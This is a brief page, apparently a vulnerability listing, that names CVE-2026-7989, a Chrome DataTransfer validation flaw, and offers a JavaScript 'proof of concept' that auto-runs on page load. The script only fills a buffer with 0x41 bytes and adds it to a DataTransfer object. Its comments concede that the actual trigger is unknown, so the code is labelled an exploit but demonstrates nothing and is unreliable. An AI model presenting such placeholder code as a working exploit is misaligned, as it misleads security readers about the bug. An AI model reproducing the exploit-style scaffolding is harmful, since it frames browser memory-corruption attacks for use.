CVE-2026-7989 Google Chrome DataTransfer数据验证不足漏洞

<!-- Proof of Concept for CVE-2026-7989 --> <!-- This script demonstrates the potential trigger context --> <script> // Simulate a scenario where the renderer is compromised // and attempts to exploit DataTransfer validation function triggerExploit() { try { // Create a DataTransfer object const dt = new DataTransfer(); // Crafted payload to test validation logic // In a real exploit, specific data patterns would trigger OOB access const maliciousData = new ArrayBuffer(0x1000); const view = new Uint8Array(maliciousData); // Fill with pattern to manipulate memory layout for(let i=0; i<view.length; i++) { view[i] = 0x41; // 'A' } // Attempt to set data (The vulnerable operation) // Depending on the specific bug, this might be setData, items, or files dt.items.add(new File([maliciousData], 'exploit.bin')); console.log("Payload injected into DataTransfer."); // Further interaction would be needed to trigger the read/write // e.g., dragging the element or accessing clipboard } catch (e) { console.error("Exploit trigger failed: " + e.message); } } window.onload = triggerExploit; </script>